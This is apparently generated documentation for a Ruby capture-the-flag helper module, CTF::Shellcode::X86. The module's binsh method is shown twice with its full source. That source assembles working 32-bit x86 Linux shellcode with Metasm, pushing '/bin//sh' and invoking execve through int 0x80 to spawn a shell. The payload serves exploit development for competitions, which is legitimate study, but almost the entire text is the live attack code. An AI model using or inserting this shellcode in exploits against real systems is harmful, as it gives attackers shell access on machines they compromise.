module CTF::Shellcode::X86
Public Class Methods
binsh()
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# File lib/ctf/shellcode.rb, line 5 def binsh shellcode = <<EOS xor eax, eax push eax push #{"n/sh".unpack("I")[0]} push #{"//bi".unpack("I")[0]} mov ebx, esp push eax pop ecx push eax pop edx mov al, 0xc dec al int 0x80 EOS Metasm::Shellcode.assemble(Metasm::Ia32.new, shellcode).encode_string end
Private Instance Methods
binsh()
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# File lib/ctf/shellcode.rb, line 5 def binsh shellcode = <<EOS xor eax, eax push eax push #{"n/sh".unpack("I")[0]} push #{"//bi".unpack("I")[0]} mov ebx, esp push eax pop ecx push eax pop edx mov al, 0xc dec al int 0x80 EOS Metasm::Shellcode.assemble(Metasm::Ia32.new, shellcode).encode_string end